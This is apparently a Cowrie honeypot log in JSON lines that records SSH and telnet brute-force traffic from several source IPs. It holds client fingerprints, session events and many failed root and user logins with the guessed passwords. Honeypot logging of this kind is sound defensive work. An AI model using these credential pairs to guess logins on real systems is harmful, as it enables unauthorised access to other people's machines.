{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:40.343329Z","src_ip":"176.65.132.254","session":"80a8fb7293b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:40.466471Z","src_ip":"176.65.132.254","session":"80a8fb7293b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:41.240904Z","src_ip":"176.65.132.254","session":"80a8fb7293b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.72126603126526,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:41.318687Z","src_ip":"62.210.97.77","session":"d56fafc573ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:42.326619Z","src_ip":"176.65.132.254","session":"80a8fb7293b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83096623420715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:42.843060Z","src_ip":"62.210.97.77","session":"1d03ae2d4158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48310,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8933d21c161","protocol":"telnet","message":"New connection: 62.210.97.77:48310 (10.17.0.5:23) [session: c8933d21c161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:44.082720Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35268,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9c3f2f8dd70","protocol":"ssh","message":"New connection: 176.65.132.254:35268 (10.17.0.5:22) [session: b9c3f2f8dd70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:44.190825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:44.195472Z","src_ip":"176.65.132.254","session":"b9c3f2f8dd70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:44.279033Z","src_ip":"176.65.132.254","session":"b9c3f2f8dd70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.89218258857727,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:44.423198Z","src_ip":"177.10.138.77","session":"fb6d34365258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48318,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08846c67641","protocol":"telnet","message":"New connection: 62.210.97.77:48318 (10.17.0.5:23) [session: b08846c67641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:44.448855Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:44.740765Z","src_ip":"176.65.132.254","session":"b9c3f2f8dd70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:45.826644Z","src_ip":"176.65.132.254","session":"b9c3f2f8dd70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"59088109376f","protocol":"telnet","message":"New connection: 65.60.27.33:57746 (10.17.0.5:23) [session: 59088109376f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:46.616740Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35270,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b4b38f91a06","protocol":"ssh","message":"New connection: 176.65.132.254:35270 (10.17.0.5:22) [session: 2b4b38f91a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:47.958881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:48.094520Z","src_ip":"176.65.132.254","session":"2b4b38f91a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:48.104459Z","src_ip":"176.65.132.254","session":"2b4b38f91a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58194,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1fc2540db6e","protocol":"telnet","message":"New connection: 65.60.27.33:58194 (10.17.0.5:23) [session: a1fc2540db6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:48.333036Z"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:48.530780Z","src_ip":"176.65.132.254","session":"2b4b38f91a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58296,"dst_ip":"10.17.0.5","dst_port":23,"session":"22464ccacbcd","protocol":"telnet","message":"New connection: 62.210.97.77:58296 (10.17.0.5:23) [session: 22464ccacbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:48.589531Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60326,"dst_ip":"10.17.0.5","dst_port":23,"session":"e629484455d6","protocol":"telnet","message":"New connection: 65.60.27.33:60326 (10.17.0.5:23) [session: e629484455d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:48.878196Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58302,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d60817e9961","protocol":"telnet","message":"New connection: 62.210.97.77:58302 (10.17.0.5:23) [session: 0d60817e9961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:49.341998Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa116d4c58e","protocol":"telnet","message":"New connection: 65.60.27.33:60728 (10.17.0.5:23) [session: 5aa116d4c58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:49.417964Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:49.615328Z","src_ip":"176.65.132.254","session":"2b4b38f91a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35280,"dst_ip":"10.17.0.5","dst_port":22,"session":"2926188d0d5b","protocol":"ssh","message":"New connection: 176.65.132.254:35280 (10.17.0.5:22) [session: 2926188d0d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:51.795824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:51.801253Z","src_ip":"176.65.132.254","session":"2926188d0d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:51.883187Z","src_ip":"176.65.132.254","session":"2926188d0d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:52.146514Z","src_ip":"176.65.132.254","session":"2926188d0d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58318,"dst_ip":"10.17.0.5","dst_port":23,"session":"cea02b2a6909","protocol":"telnet","message":"New connection: 62.210.97.77:58318 (10.17.0.5:23) [session: cea02b2a6909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:52.884182Z"}
{"eventid":"cowrie.session.closed","duration":37.29914474487305,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:53.173103Z","src_ip":"62.210.97.77","session":"99a5d1e81f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:53.231167Z","src_ip":"176.65.132.254","session":"2926188d0d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.175888776779175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:53.815045Z","src_ip":"62.210.97.77","session":"983e682d2c50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.66889452934265,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:54.558813Z","src_ip":"65.60.27.33","session":"8f0ef2f97b87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58332,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f15032723f0","protocol":"telnet","message":"New connection: 62.210.97.77:58332 (10.17.0.5:23) [session: 6f15032723f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:54.711697Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34066,"dst_ip":"159.203.135.109","dst_port":23,"session":"a066086c144f","protocol":"telnet","message":"New connection: 134.209.8.29:34066 (159.203.135.109:23) [session: a066086c144f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:55.206417Z"}
{"eventid":"cowrie.session.closed","duration":39.578758001327515,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:55.216100Z","src_ip":"62.210.97.77","session":"05179cdace14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47948,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc7cbdae0de","protocol":"ssh","message":"New connection: 176.65.132.254:47948 (10.17.0.5:22) [session: dbc7cbdae0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:55.715425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:55.720372Z","src_ip":"176.65.132.254","session":"dbc7cbdae0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:55.802613Z","src_ip":"176.65.132.254","session":"dbc7cbdae0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:56.055676Z","src_ip":"176.65.132.254","session":"dbc7cbdae0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58344,"dst_ip":"10.17.0.5","dst_port":23,"session":"312e55e5880f","protocol":"telnet","message":"New connection: 62.210.97.77:58344 (10.17.0.5:23) [session: 312e55e5880f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:56.332719Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39993,"dst_ip":"159.203.135.109","dst_port":22,"session":"178132e9743f","protocol":"ssh","message":"New connection: 2.57.121.25:39993 (159.203.135.109:22) [session: 178132e9743f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:56.338552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:56.343161Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:56.448576Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25051976","message":"login attempt [user/25051976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:56.945597Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41342,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9a343a5520","protocol":"telnet","message":"New connection: 65.60.27.33:41342 (10.17.0.5:23) [session: ba9a343a5520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:56.970967Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:57.149653Z","src_ip":"176.65.132.254","session":"dbc7cbdae0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"250383","message":"login attempt [user/250383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:58.053694Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42878,"dst_ip":"10.17.0.5","dst_port":23,"session":"d875ae63b167","protocol":"telnet","message":"New connection: 65.60.27.33:42878 (10.17.0.5:23) [session: d875ae63b167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:58.349187Z"}
{"eventid":"cowrie.session.closed","duration":49.06519556045532,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:58.665437Z","src_ip":"65.60.27.33","session":"2b533e193e8b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"24681","message":"login attempt [user/24681] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:59.161706Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.870441198348999,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:59.219529Z","src_ip":"65.60.27.33","session":"d875ae63b167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56604,"dst_ip":"10.17.0.5","dst_port":23,"session":"55bceec29b18","protocol":"telnet","message":"New connection: 62.210.97.77:56604 (10.17.0.5:23) [session: 55bceec29b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:59.507408Z"}
